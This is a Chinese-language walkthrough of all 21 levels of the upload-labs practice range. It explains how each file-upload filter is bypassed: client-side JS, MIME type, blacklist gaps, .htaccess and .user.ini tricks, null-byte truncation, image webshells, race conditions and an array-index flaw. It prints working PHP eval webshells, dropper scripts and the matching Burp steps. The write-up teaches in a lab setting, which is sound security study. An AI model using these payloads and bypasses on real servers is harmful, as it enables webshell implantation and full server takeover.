前言
环境搭建:推荐使用phpstudy2018
使用工具:BurpSuite,蚁剑
参考文章:
全面了解文件上传漏洞, 通关upload-labs靶场! - 亨利其实很坏 - 博客园 (cnblogs.com)
upload-labs靶场通关(文件上传漏洞靶场)_upload pass 通关-CSDN博客
靶场通关
Pass-01
考点:js代码绕过
题目分析
上传一个一句话木马,发现提示了一个弹窗,典型的js代码,所以本关的校验肯定是在前端,可以使用前端js代码绕过来做
解题步骤
第一种方法:禁用前端js代码从而绕过验证
使用火狐插件disable javascript一键禁用js,禁用后就可以直接上传一句话木马,蚁剑连接了
第二种方法:修改前端校验函数
F12查看源码,使用选择器选择上传按钮,定位到checkfile函数,这就是检查文件的函数,删除,再上传就可上传成功
上传成功后右键新标签页打开图像,复制url地址(即webshell路径),蚁剑连接,成功
Pass-02
考点:MIME类型绕过
源码审计
题目分析
后端代码对上传的文件类型进行检验, 若文件类型不为image/jpeg, 则上传失败,可以抓包修改上传文件MIME类型实现绕过
解题步骤
使用burpsuite(后文简称bp)抓包,将Content-type字段的值为image/jpeg即可绕过限制
放包,上传成功,但是无回显,正常渗透测试时就需要猜测上传位置了,一般都是upload,uploads等,但这是靶场,第一关已经知道上传位置了,使用第一关的位置测试连接,成功
注意:每开始新的一关我们需要清空上传的文件,不然木马一直存在就不知道自己到底成功没
Pass-03
考点:文件后缀黑名单绕过
环境要求
这里需要修改 httpd.conf 配置文件,把下文我选中的一行取消掉注释就行,如果没有可以手动添加上,重启Apache服务就OK了
源码审计
题目分析
黑名单过滤,文件后缀不能是红框内的后缀,但是phtml,php5,php8等后缀文件也可以解析成php。可以通过抓包修改后缀名来绕过文件上传限制,这里我们改成phtml
解题步骤
bp抓包,修改文件后缀名为phtnl,放包,右键新标签页打开图像,复制url地址,蚁剑连接,成功
Pass-04
考点:.htaccess解析漏洞
什么是.htaccess解析漏洞?
.htaccess 解析漏洞是指攻击者通过上传一个恶意的 .htaccess 文件到服务器,从而改变服务器对特定文件类型的解析行为。这种漏洞通常出现在允许用户上传文件的 Web 应用中,如果应用没有对上传的文件进行充分的验证和过滤,攻击者可以上传一个恶意的 .htaccess 文件,从而控制服务器的行为。
环境要求
php版本不能高于5.2.17
源码审计
题目分析
查看提示或者查看源码发现还是黑名单过滤,过滤了很多后缀,但是.htaccess文件没有被过滤,所以我们可以利用.htaccess解析漏洞来上传文件
解题步骤
先上传恶意 .htaccess 文件,这个配置将使得服务器将 .jpg 文件作为 PHP 文件来解析。内容如下
AddType application/x-httpd-php .jpg
再上传恶意脚本文件 1.jpg
<?php @eval ($_POST["a"]);?>
由于服务器现在将 .jpg 文件作为 PHP 文件解析,当用户访问 1.jpg 文件时,其中的 PHP 代码会被执行,从而达到任意代码执行的目的
注意到这里即使后缀是jpg也能连接成功,也就是.htaccess 文件确实把jpg当成php来解析了
Pass-05
考点:.user.ini绕过
什么是user.ini文件?
user.ini 文件是 PHP 中的一种配置文件,用于在每个目录级别上设置 PHP 配置选项。.user.ini 中的字段会被 php 视为配置文件来处理,从而导致 php 的文件解析漏洞。
引发 .user.ini 解析漏洞的前提:.user.ini可以生效且上传目录下要有可执行的php文件
环境要求
- 将php版本改为7.0.12-nts以上使readme.php里的文本能够正常解析
- 将php.ini里的user_ini的执行时间从300秒改为10秒,便于查看结果
源码审计
题目分析
黑名单过滤了很多东西,上一关的.htaccess也过滤了,查看提示发现upload目录里有readme.php文件,符合.user.ini解析漏洞的前提(第一个前提需要我们自己创造,即按照教程修改配置),所以这里可以使用 .user.ini绕过
解题步骤
先上传user.ini文件,内容如下
auto_prepend_file=2.jpg
再上传伪装成图片的一句话木马后门2.jpg
<?php @eval ($_POST["a"]);?>
这样就ok了,当我们访问目录下原本存在的readme.php的时候,user.ini就会自动执行,上传2.jpg,从而执行一句话木马,蚁剑直接访问连接readme.php就能成功getshell
Pass-06
考点:后缀大小写绕过
源码审计
题目分析
审计发现这几个过滤函数相较于前面少了一个strtolower大小写转换函数, 也就是说可以通过构造大小写后缀来绕过限制, 例如Php,PHP这种后缀
解题步骤
bp抓包,修改后缀名为PHP,放包,右键新标签页打开图像,复制url地址,蚁剑连接,成功
Pass-07
考点:空格绕过
源码审计
题目分析
审计发现这几个过滤函数相较于前面少了一个trim()首尾去空函数,所以可以在文件后面添加空格绕过黑名单限制,可以使用空格绕过
解题步骤
bp抓包,在文件名后面添加空格,放包,右键新标签页打开图像,复制url地址,蚁剑连接,成功
Pass-08
考点:点绕过
源码审计
题目分析
审计发现这几个过滤函数相较于前面少了一个deldot()函数,该函数作用是删除文件名末尾的点,所以我们可以在文件名后面加上点来绕过黑名单限制
解题步骤
bp抓包,修改后缀名为php.(即在后面加个点),放包,右键新标签页打开图像,复制url地址,蚁剑连接,成功
Pass-09
考点:::$data绕过
什么是::$data?
::$DATA 是一种在 Windows 操作系统中用于处理文件名的特殊标记,它与 NTFS 文件系统中的数据(Alternate Data Streams, ADS)有关。在 NTFS 文件系统中,文件可以有多个数据流,而 ::$DATA 是默认数据流的标记。
在 Windows 中,文件名可以包含 ::$DATA 标记。例如,一个文件名为 example.php::$DATA 的文件,在文件系统中会被视为 example.php。攻击者上传一个名为example.php::$DATA的文件,服务器可能会将其视为example.php,但文件类型检查可能会忽略 ::$DATA 部分,从而允许上传。
源码审计
题目分析
审计发现这几个过滤函数相较于前面少了str_ireplace('::$DATA', '', $file_ext);,该函数作用是去除字符串::$DATA
那我们就可以利用windows的ntfs数据流的特性,在文件后面加上 ::$DATA 来绕过限制
解题步骤
bp抓包,修改后缀名为php::$DATA(即在后面加::$DATA),放包,右键新标签页打开图像
右键打开发现404了,别慌,这是正常现象,是因为::$DATA不能被解析,访问和连接时要把::$DATA后缀去掉
Pass-10
考点:点空格点绕过
源码审计
题目分析
deldot()函数将上传文件末尾的"."去除了, trim()函数将首尾去空,我们可以上传一个文件名为1.php. ., 经过两个函数的处理后文件名为1.php.,同时这样文件后缀是"."也可以绕过黑名单过滤,完美
解题步骤
bp抓包,修改后缀名为1.php. .,放包,右键新标签页打开图像,复制url地址,蚁剑连接,成功
Pass-11
考点:后缀名双写绕过
源码审计
题目分析
黑名单过滤了很多后缀,红框内函数意思是只要你输入的文件后缀存在于黑名单中,就会被替换为空。但是,该函数只能替换一次,所以可以使用双写绕过
解题步骤
bp抓包,修改后缀名为pphphp,放包,右键新标签页打开图像,复制url地址,蚁剑连接,成功
Pass-12
考点:get型%00截断
%00是什么?有什么用?
php的⼀些函数的底层是C语⾔,C语⾔的字符串中,如果遇到0x00会被编译器认为是字符串结束标志,
会把该字符串截断。0x表示16进制,URL中%00解码成16进制就是0x00。
环境要求
需要php版本<5.3,并且magic_quotes_gpc关闭。一般默认是关闭的。
源码审计+查看提示
题目分析
这关是白名单过滤,检查上传文件的类型是否为jpg、png或gif。若类型正确,将文件重命名并移动到指定目录。成功则标记上传成功,否则报错。提示上传路径可控,想到%00截断。这里我们构造名字带有%00⽊⻢上传,进⾏绕过。其本质就是偷梁换柱
解题步骤
bp抓包,修改两个地方,第一个文件名后缀必须是白名单内的,第二个文件路径位置写上木马的文件名,再使用%00截断,放包,右键新标签页打开图像
这里需要把截断地方后面的没用的删掉,再用蚁剑连接,成功
Pass-13
考点:post型%00截断
源码审计+查看提示
题目分析
本关和上一关原理相同,只是这关用post方式传文件,所以也用post方式的%00截断。这里需要注意,get请求传递的参数url会自动进行解码, 但是post请求传递的参数后端不会自动解码, 因此我们要对%00进行url解码
解题步骤
bp抓包,修改请求包,%00url解码,放包,右键新标签页打开图像
将截断符后面的删掉,蚁剑连接,成功
Pass-14
考点:图片马绕过
什么是图片马?
图⽚⻢就是在图⽚中隐藏⼀句话⽊⻢,图片马上传成功后,再利⽤⽂件包含漏洞或者服务器解析漏洞即可发挥作⽤。 单纯的上传图⽚⻢并不会发挥作⽤,必须配合其他漏洞
图片马生成:准备一张图片1.png和一个一句话木马1.php,在目录下打开cmd,输入以下命令就可以得到一张可以正常显示的图片马
copy /b 1.png + 1.php shell.png
源码审计
题目分析
这一关会校验上传文件的前两个字节,来判断上传文件类型,后端会根据判断得到的文件类型来重命名上传文件。我们只需修改文件头为图片格式的, 就能实现绕过。
解题步骤
创建一个1.jpg,内容如下
GIF89a
php @eval($_POST['a']); ?>
先将刚刚生成的图片马上传,右键新标签页打开不会被解析
将文件路径和名称复制,点主页的文件包含漏洞
使用get方式将刚刚复制的文件的相对位置传入,即可解析图片中隐藏的一句话木马
由于图片已经被当成一句话木马解析了,所以直接用蚁剑连接png后缀就行,连接成功
Pass-15
考点:图片马绕过
源码审计
题目分析
此关也是一个白名单判断,使用 getimagesize() 函数获取图像的信息。而getimagesize()最关键的作用就是获取传入文件的头部。因此我们只需将文件头部修改成图片文件的头部, 用上题的1.jpg就可以绕过
解题步骤
操作和上题一样,先上传图片马文件,复制路径和文件名,利用文件包含漏洞上传文件,正常解析,再用蚁剑连接
Pass-16
考点:图片马绕过
环境要求
需要打开php_exif模块
源码审计
题目分析
此关使用exif_imagetype()函数来识别文件类型,通过读取文件头来判断文件类型,上一关的1.jpg还能继续用
解题步骤
操作和上题一样,利用文件包含漏洞上传文件,正常解析,再用蚁剑连接
Pass-17
考点:二次渲染绕过
源码审计
题目分析
此关使用imagecreateformjpeg()函数来对上传的图片文件进行二次渲染,根据你上传的图片重新生成一个新的图片,在文件尾隐藏的一句话木马就会被清除,但是图片有一部分内容是不会改的,我们只用找到不用改的那部分区域插入一句话木马就OK。
二次渲染图片制作方法:这里有一篇文章二次渲染图片马制作,这篇文章讲的特别详细,建议用gif的比较好操作,不想自己做网上应该也有现成的(我太懒了,不想再弄一遍了
解题步骤
上传二次渲染后的图片,利用文件包含漏洞,图片可以解析,蚁剑连接,成功
Pass-18
考点:条件竞争
源码审计
题目分析
move_uploaded_file() 是 PHP 中的一个内置函数,作用是将上传的临时文件从服务器的临时目录移动到你指定的永久位置。此关先移动上传的文件到网站目录,后端检验文件后缀是否在白名单内,如果在,重命名并移动文件到最终位置,不在就删除已经移动但不符合条件的文件。我们可以在上传文件的瞬间访问,此时文件还未来得及删除,我们访问到了就可以连接了,从而实现绕过。
解题步骤
准备一个访问能生成一句话木马的php文件,命名shell.php
<?php
fputs(fopen('1.php','w'),'<?php eval($_POST[a]);?>');
?>
上传shell.php,使用bp抓包,右键发送到Intruder模块,先清除payload位置
设置成没有负载模式,设置发送适当数量的包
设置好最大并发请求数,即线程,二三十就差不多了
再访问上传木马的文件名,抓包,按照上述流程再同样操作一下,这里注意最好批量访问的线程数应⼤于批量上传的线程数
两边都设置好后就可以开始攻击了,先上传再访问,访问响应出现200就代表访问成功了
查看服务器,一句话木马已经出现在upload目录下了,蚁剑连接,成功
Pass-19
考点:apache解析漏洞+条件竞争
什么是apache解析漏洞?
apache服务器在处理文件扩展名时,会从右到左依次检查,直到找到一个能够识别的扩展名。例如,如果一个文件名为1.php.7z,Apache可能会错误地认为这是一个.7z文件,但由于.php在.7z之前,Apache可能会尝试解析.php部分,从而导致PHP代码被执行。
环境要求
这里源码作者写的有点错误,他写的上传文件的路径是保存到了upload目录的同级,我们需要按照下面我给的查找一下setDir函数,把红框地方改成我这样的,这样就会保存到upload目录下了
源码审计
题目分析
后端先检查上传文件后缀是否在白名单内,然后检查文件大小以及文件是否已经存在。文件上传之后又对其进行了重命名。这里不能直接用上一关的方法了,因为会检查文件后缀,这里可以使用apache解析漏洞和条件竞争绕过。
解题步骤
准备一个访问能生成一句话木马的php文件,添加一个文件头,命名eval.php
GIF89a
<?php fputs(fopen('2.php','w'),'<?php eval($_POST[a]); ');?>
上传eval.php,bp抓包,修改文件名为 eval.php.7z,发送到Intruder模块,清除payload位置,payload、资源池设置和上关一样
访问上传的文件,后面也加上7z,例如 eval.php.7z ,bp抓包,发送到Intruder模块,清除payload位置,payload、资源池设置也和上关一样
先开始上传文件攻击,再开始访问文件攻击,访问成功,查看目录2.php已经成功上传,蚁剑连接,成功
Pass-20
考点:综合运用
源码审计
题目分析
这关给出了一个黑名单,检查最后一个点后面的后缀是否在黑名单里,在里面就上传失败。那绕过方法就很多了,可以使用前面讲的大写绕过。原理就是服务器也能解析PHP。
解题步骤
先上传一个一句话木马,直接修改保存名称后面加个.PHP后缀,上传成功,右键新标签页打开图像,复制url地址,蚁剑连接,成功
Pass-21
考点:源码审计+数组绕过
源码审计
题目分析
这里我们分成三部分题目分析:
- 首先检查文件类型,MIME类型绕过(Pass-02中的绕过方法),即将 Content-Type 修改为 image/jpeg。
- 检查传入的文件是否为数组传递,如果不是就按照点分割为数组
- 然后取数组的最后一位,检查后缀是否在白名单内,如果在,取数组真实大小的最后一位拼接到数组第0位的后面
好的,到这里我们就发现代码有一个逻辑上的漏洞,即上面检查数组最后一位是否在白名单里,下面拼接的是数组真实的大小的最后一位,我们可以通过伪造数组最后一位来实现绕过
这里容易晕,数组的最后一位是自己改的,例如数组arr = [1, 2, 3],你上传了一个arr[100] = jpg,最后一位检查的是arr[100],真实的最后一位是arr[数组元素个数 - 1],即arr[3] = null,所以最后arr[0]即1.php会拼接一个null,变成 1.php. 导致一句话木马被执行
解题步骤
上传1.php,bp抓包,修改文件Content-Type,然后把name改成数组,这样就不会按照点分割你上传的文件了,数组第一位,即save_name[0],写成1.php,连分割线一起复制下来,把save_name的索引改为大于2的数,这里改为100,写为白名单内的后缀,这里写为jpg。
放包,显示上传成功,新标签页打开图像,发现上传的文件名变为1.php.,最后的点windows会自动去掉,直接复制url,蚁剑连接,成功
至此,靶场已通关。